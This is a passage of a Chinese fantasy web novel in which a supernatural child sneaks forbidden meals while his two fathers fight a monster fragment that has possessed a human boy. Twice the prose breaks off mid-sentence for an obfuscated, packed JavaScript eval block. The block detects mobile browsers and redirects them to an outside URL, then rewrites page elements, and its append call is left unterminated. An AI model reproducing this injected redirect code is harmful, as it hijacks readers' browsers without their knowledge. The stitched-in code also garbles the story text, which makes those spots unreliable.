冬日摸摸自己的小肚皮，心里默念进行安慰：没事哒没事哒，再忍忍，今天又可以见到小律哥哥的，他会给自己带嫩嫩肉吃的。 等小家伙吃完了，冬眠问他：“今天日日要不要去爸爸那边呀？” 他们的餐饮店都有雇员工，所以不用每天过去。 一周只用去个三四回，其余时间则用来寻找小魔物，这段时间又加了照顾孩子。 冬日向来是黏冬眠的，每回出门也都是跟着冬眠。 昨天早上是反常跟了殷天一次，不过冬眠没太放心上——好歹相处这么长时间了，亲近值归总有些增加。 跟一次就够了。 冬眠自信今天小家伙还是会跟着自己。 结果冬日竟毫不犹豫地选择了殷天。 “……不、不要哦！”他说，“……我要跟大爸爸，我有事的！” 大爸爸。 殷天没错过这声称呼。 虽然不是亲口这么喊他，可似乎还是第一次听到小家伙敢这么介绍自己了？ 嗯哼？ 看来昨天的甜品效果拔群。 小家伙就是可以靠这些东西讨好的。 冬眠遭受拒绝，愣了几秒：“……好吧，你们是约定了什么事吗？能告诉爸爸吗？” 那倒是没跟殷天做任何约定。 他的约定对象是裴清律。 其实说出裴清律也没事，小家伙终于交到朋友，还能约着一起玩，对大人而言怎么都是件欣慰的事。 但冬日不可能想到这层，也因为裴清律要给他带吃的而心虚，所以自然选择鬼鬼祟祟的遮掩。 “……不能说哦，是秘密！嘘！” “……” 冬眠立刻看向殷天。 冬眠：【你们做什么约定了？还不能让我知道？】 殷天：【？我冤枉，我没跟他做约定啊】 殷天是真冤枉。 他也没想到小家伙会说出这些话。 冬眠：【你昨天是不是偷偷给他喂吃的了？不然他今天还能黏上你？】 殷天：。 公式套错了，但答案很精准。 不愧是小神仙，仅凭这点反常，就推测出了他们昨天有过不能见人的交易。 殷天能承认吗？ 殷天：【你认真的吗？我会喂他？】 冬眠：【那他跟谁有事？】 殷天：【我不知道啊，真不是我】 冬眠：【那还能跟谁？】 殷天：【等等，有可能是裴家那条小龙崽，昨天他们待了很长时间，搞不好还约了今天一起玩】 冬眠这才打消对殷天的怀疑。 也是。 殷天又不喜欢小家伙，他不把小家伙吃掉都不错了，怎么可能还给小家伙喂吃的。 冬眠：【那你要看好他，千万不能让他偷吃东西】 冬日还坐在餐椅上，满脸写着“我没有撒谎哦”，“这件事一点都不可疑哦”，“你最好相信这些话”的认真，同时准备好了应对爸爸接下去的提问。 爸爸却没再问什么，氛围突然陷入沉默。 只有两道隐约不明，还很古怪的声线闯入脑海。 能辨认是两个人的交谈声，但是完全不能听清内容。 交谈声持续了挺久，伴随着滋滋滋的杂音，以及类似拨动琵琶时弹奏声，耳鸣般的嗡嗡声。 一点都不好听，冬日只觉得很吵很烦。 他皱眉噘嘴，抬起脑袋往左右看了看，好奇怪，也没别的东西在身边啊。 眼前就只有两个爸爸，可他们都闭着嘴巴，压根就没说话啊。 冬日挠挠前额又揉耳朵，听不清又杂乱，真的很不喜欢这种感觉。 这些小动作打断了冬眠跟殷天的心声交流。 冬眠看向冬日：“怎么了日日？耳朵不舒服吗？” 小家伙赶紧点头：“……有声音，好奇怪，嗡嗡嗡的！我不喜欢！” 冬眠没多想，只当是有什么小虫子飞过，伸手在冬日附近赶了赶：“这几天回暖了些，估计有小虫子飞出来了吧。” 冬日想说这并不是小虫子的声音，而是两个人在说话的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15027210|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可在他们开口说话时，两道声音就离奇地消失了。 脑内恢复宁静，冬日感觉舒服了，也就没再纠结抱怨。 吃完出门，冬日跟着殷天去了甜品店。 真相果然如殷天预料那般，小家伙是跟裴清律做了约定。 到了跟昨天差不多的时间点，裴清律又来了。 粗糙的大魔物自然不会时时刻刻盯着孩子，所以冬日美美一顿享受。 炖煮至软烂脱骨的大肘子，入口既化的大块东坡肉，嫩到一按就冒汁水的牛大排，简直就是肉食系小饕餮的狂欢盛宴！ 开始小家伙还有偷吃的顾虑，生怕把脸吃脏，只敢小口小口地吃。 但大脑理智全部被美食侵占，所有顾虑便抛到脑后，筷子一扔，双手捧起牛大排就是猛猛干，最后直接吃花大半张脸。 成年人都不一定能吃下的食量，对小饕餮宝宝而言不过五分饱。 边吃还喝了甜甜的饮料果汁，吃完后更尝到了美味小甜点。 裴清律很用心为他准备了今天的食物，连甜点都是冬日先前没吃过的。 两根油炸糯米香蕉，一块芋泥巧克力酱油炸糕，跟两块脆皮黄油年糕。 糖油混合物的快乐更不用说，炸得酥酥脆脆，又符合冬日偏甜的口味。 一口下去，幸福感简直爆棚。 美美吃完后，开始毁尸灭迹。 这回擦嘴已经不够，冬日必须认真洗脸洗手，接着还要等身上的食物香味散散，没有一点痕迹了再回去。 但怎么可能没痕迹。 有味道的东西吃多了，嘴巴就会变渴想喝水，喝了水储藏在体内，身体就会水肿。 傍晚冬眠再见到冬日时，小家伙的脸颊已经带着明显浮肿，成了颗泡发的小汤圆。 当着孩子面，冬眠忍了又忍，最后忍住了没说什么。 但晚上将孩子哄睡后，他的忍耐抵达极限，恨不得将殷天暴打一顿。 冬眠：【不是让你好好看着孩子吗，你看了吗，就这么任着他偷吃？】 殷天：【我也不知道龙家那小子会把他喂成这样啊】 冬眠：【重点是喂成这样吗？是你根本不该给他喂到日日的机会啊！】 两人没有说话，怕吵到孩子，选择用心声进行交流。 就是冬眠用拳头攻击殷天时，还是发出了点摩擦的声响。 床上的小家伙扭了扭，迷迷糊糊地呓语开口：“是谁……” 殷天跟冬眠立刻定身不动。 冬日没有睁开眼睛，半梦半醒的，只是又在脑内听到了奇怪的对话声。 但比早上清晰很多。 他还听到了自己的名字，有人在喊“日日”，于是惊了一下，想问问是谁在喊他。 但等了很久都没等到回答，他又是真的很困，完全睁不开眼皮，渐渐继续睡去。 冬眠小心翼翼走到床边，确定小家伙睡着后，瞪了殷天一眼。 但没再跟他废话，也上床躺下，决定去梦里暴打殷天。 可惜昏昏沉沉就要入睡之际，殷天突然把他摇醒了。 冬眠不解地看他，正要问他想干嘛，是不是真有这么讨打—— 殷天却一脸严肃，沉声说道：“……嘘，有小魔物碎片在附近，气息很重。” “……” 23.第 23 章 寻找小魔物这件事真是充满了玄学。 之前那么认真寻找，却始终没有下落。 现在多了个孩子分散他们的专注，小魔物自身也裂成了碎片，反而开始接二连三地主动现身。 但碎片也不能放过。 在他们找到心脏之前，不能任由这些碎片继续分裂，能消灭多少是多少。 在床边设下结界，防止冬日万一醒来寻找他们，冬眠跟殷天立刻出发。 深更半夜，他们居住的附近一片寂静，几乎不见行人。 两人在半空中快速穿梭，最后在十公里外的一处荒地边停下。 “……就是这里？” “看前面。” 不远处蹲着一个小男孩，手里捏着一把正在蠕动的不明生物，大口大口往嘴里塞。 着实让人有几分心理不适。 冬眠忍着恶心嗅了嗅，还好，男孩啃的不是什么古怪虫子，而是一些还不能化形的小花妖小草妖。 对正在修复疗伤的小魔物来说，这还真是很滋补的养料。 但冬眠同时嗅出来，眼前的男孩是个人类。 虽然在小魔物的附身操控下，看上去早已没有任何人类的理智，只剩狰狞扭曲的面容。 看到他们凭空出现，男孩警戒地往后退了好几步，直接扔掉手里的东西，做出预备攻击的姿势，目不转睛地盯着他们。 不愧是小魔物。 即便只是部分碎片，也有着惊人的气势。 “今晚来得不太巧。”殷天说，“这部分碎片恢复得差不多了。” “……嗯？” “再等等，它就可以去寻找心脏了。”殷天叹气，“可惜发现我们了，那只能先送它上路了。” 说罢，殷天从身侧抽出了那把燃烧着通红火焰的长枪，直接指向男孩。 小魔物感受到压迫十足的威胁，并不打算硬碰硬，转身就要逃跑。 然而殷天更快一步，另只手心迅速甩出几道火焰形状的钉子，将男孩钉在原地。 殷天没讲废话，抬手就要将长枪也扔出去，但被冬眠制止：“……等一下！你要连这个男孩一起杀了吗！” 殷天不以为意：“没办法，总是要有人牺牲的。” “……” 好像是这样没错，放置整个计划中，一条人命是显得微不足道。 可放在以男孩为中心的世界来说，他的家人朋友，必然留下深刻永恒的伤痛。 而且一条鲜活的弱小生命还在眼前，冬眠不能接受它以这样的理由逝去。 “就不能用别的办法吗？”冬眠道，“你之前不是说过，你有办法能逼出小魔物吗？这样不就能救下这个孩子了吗？” 殷天的语气略显不耐烦：“好吧，真麻烦。” “……不准嫌麻烦。” 冬眠瞪眼，跟这种凶残大魔物是真聊不到一块去。 殷天收起长枪，两人往前走了几步。 男孩刚被钉在地上时没有挣扎，此刻拼命扭动起来。 冬眠不清楚殷天会用什么方式逼出小魔物，但能看出来，他克制小魔物很有一招。 任凭男孩怎么挣扎，愣是还在原地，挪动不了半点。 冬眠跟着殷天走到男孩面前。 男孩终于抬起了头。 可脸上被魔物操控的狰狞扭曲已然不见，恢复了人类该有的模样，年幼的脸庞满是恐惧不安，稚嫩双眸里噙着泪水。 “……这，这是哪里？” “呜呜呜……你们是谁啊……我在哪里……爸爸妈妈呢……” 男孩环顾四周，四肢挣扎，可惜怎么都不能从地上起来。 “呜呜……好冷啊……这里好黑啊……呜呜妈妈，你在哪里啊，我好害怕……” “你们是谁啊……你们别过来，我爸爸很厉害的……你们、他马上会来救我的！” 殷天还是冷漠，没对男孩动一份恻隐之心，眼神里只多了几分不耐烦。 但冬眠做不到视若无睹，他看向殷天：“小魔物还在他身上吗？不会逃走了吧？” “不会。”殷天双手抱臂，“现在逃走才是死路一条。” 钉子不一定真能钉住小魔物，可小魔物要在这时脱离男孩身躯，殷天保证一枪将他捅个对穿。 “暂时没有气息，估计是隐藏起来，将身体还给男孩了。” 冬眠想了想：“……那我跟这孩子说几句话，等会儿你再动手。” 殷天不悦：“没必要，我直接将小魔物逼出来就好。” 可冬眠记得他说过的，这种方式也会叫被附身的小朋友体验到生不如死的痛楚。 “那我给他上个缓解术吧，我刚好会这个。” 殷天无奈：“行吧，你说了算。” 冬眠再往前几步，在男孩面前蹲下了。 看着男孩如此年幼，比冬日都大不了几岁，又是被小魔物附身，又要承受咒术的痛苦……怎么能忍心呢？ “小朋友，叔叔不是坏人，你不用害怕。” 一边开口，一边抬手施法。 浅浅的蓝色光芒围绕着指尖打转上升，冬眠将手伸向男孩，点到对方的额头上就好。 “这是在你的梦里，你只是做了个噩梦。” “接下去可能会有点痛，但等梦——” 话未说完，手指距离对方的额头仅几毫米，冬眠的声音戛然而止。 胸口猛烈一痛，好像有什么东西爆破穿透，瞬间炸碎了他的呼吸。 立刻低头看向胸口。 竟是小魔物直接从他的身体穿过，鲜血顷刻浸透胸前大片布料，甚至滴答滴答落在裤子上。 “小心！” 殷天的提醒算是同一秒响起，可冬眠跟小魔物的距离太近，根本来不及躲。 冬眠忍着剧痛，开始调动灵力护体，奈何也来不及了。 都是他一时轻敌，没想到小魔物的攻击如此霸道残忍，刚才没有任何防备，让小魔物直接伤到了他的元神。 更可怕的是，小魔物不仅击伤他的元神，竟还不愿脱离，开始肆无忌惮吸取他身上的灵力。 以前从未对战过小魔物，冬眠对小魔物的杀伤力没有具体概念。 今晚终于切身体会，没想到只是碎片，都有这么恐怖的伤害力。 噗呲—— 灵力涣散无法调动，胸口的疼痛又像是要将他对半撕裂，冬眠痛到视线都开始模糊，下一秒，大口鲜血从嘴里喷涌而出。 多少年没受过这么重的伤了？ 至少也有几千年了吧？ “你忍忍！” 耳边响起殷天的声音，冬眠还没反应过来，又有一股暴烈的疼痛从胸口的伤口上传来。 “啊啊——” 痛到冬眠忍不住惨叫出声。 怎么会这么痛，真能将人痛死。 但下一秒，涣散的灵力可算能够开始自主凝聚，是小魔物脱离了他的身体——被殷天用长枪挑出来了。 形态仅是一团绿色的肉球。 挑出小魔物后，殷天立即将小魔物钉到地上。 长枪尖头燃烧着魔窟深渊的殷红火焰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15032041|161600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当场就把小魔物烧成灰烬，幽幽绿光缠着灰烬消散，那几秒邪气冲天。 尽管如此，还是有部分肉球火速切割，飞速地逃走了。 殷天追是能追上，可冬眠已经无法支撑晕倒在地，胸前的伤口将枯死荒败的草地都染红。 反正也不差这么点碎片了。 殷天选择回到冬眠身边：“……别怕，我不会让你有事的。” 冬眠倒是不怕，因为太痛了，根本没空再想怕不怕。 他距离彻底昏死只剩一个问题。 “……小孩呢，还好吗？” 殷天瞥了眼也昏倒在地上的男孩，回道：“好着呢，死不了。” “……那就好。” 双眼一闭。 这下是真昏过去了。 …… 冬日睡了很累的一觉。 好像做了场很忙很乱的梦，偏偏什么内容都没记住。 只记得感觉很难受。 本来睡得好好的，突然身体像被什么重物压住，接着有东西强行渗透进来。 他很不舒服，很排斥这种感觉，努力做起了对抗。 可身体居然背叛了他，一点点将这股外来的力量吸收。 好痛苦。 浑身都在痛。 尖锐的刺痛让冬日浑身发抖，恶心想吐，可那股巨大的压迫感将他完全压制，连指尖都无法挪动。 直至将这份他本该排斥的力量完全吸收。 但令他没想到的是，将这些力量吸收完毕后，身体的不适顷刻消失。 血液肌肉，皮肤神经，所有器官仿佛开启一场紧急修复，达到了前所未有的灵敏。 他听到了汽车的喇叭声，从很远很远的地方传来，轻轻的一声。 嘀—— 猛地睁开眼，从满是压迫感的梦境中逃离，天已经大亮。 心跳平缓，呼吸匀速。 他的身体竟很平静。 更不可思议的是，已经消散很久的灵力竟在指尖凝聚了踏实的存在感。 冬日从床上坐起来，捏捏手指，不敢相信自己真恢复了一些灵力。 梦魇的阴霾清扫而空，就是看向旁边时，又不见爸爸的身影。 床上只有他一个。 但对冬日来说，这也不是什么稀奇事了，他熟练地爬下床，穿好小企鹅拖鞋，踢踏踢踏小跑出房间。 跑到客厅，一眼看见睡在沙发上的冬眠。 脸色苍白，虚弱无力。 闭着眼睛，看上去连呼吸都是微弱的。 殷天坐在他身边，模样也是前所未有的严肃庄重。 冬日嗅到空气里弥漫着一股淡淡的血腥味。 感觉是温凉的，还有点甜甜的。 小家伙没缘由地感到一阵毛骨悚然。 “爸爸……” 轻轻喊了一声后，不敢往前走了。 听到他的声音，冬眠缓缓睁开眼睛，挤出一个勉强的笑：“宝宝，你起来啦……” 冬眠：【日日醒了，你哄哄他，别吓到他】 殷天：【放心，我知道】 但他们不会知道的是，这两句话无比清晰地传递进了冬日脑内。 冬日一怔。 昨天还迷迷糊糊听不清的对话声，今天竟成了殷天跟冬眠的声音。 这是爸爸在说话吗？ 声音怎么会传到他的脑子里？ 可他不见爸爸有开口啊？ 他们明明都闭着嘴巴啊？ 嗯？？ 这是怎么回事？？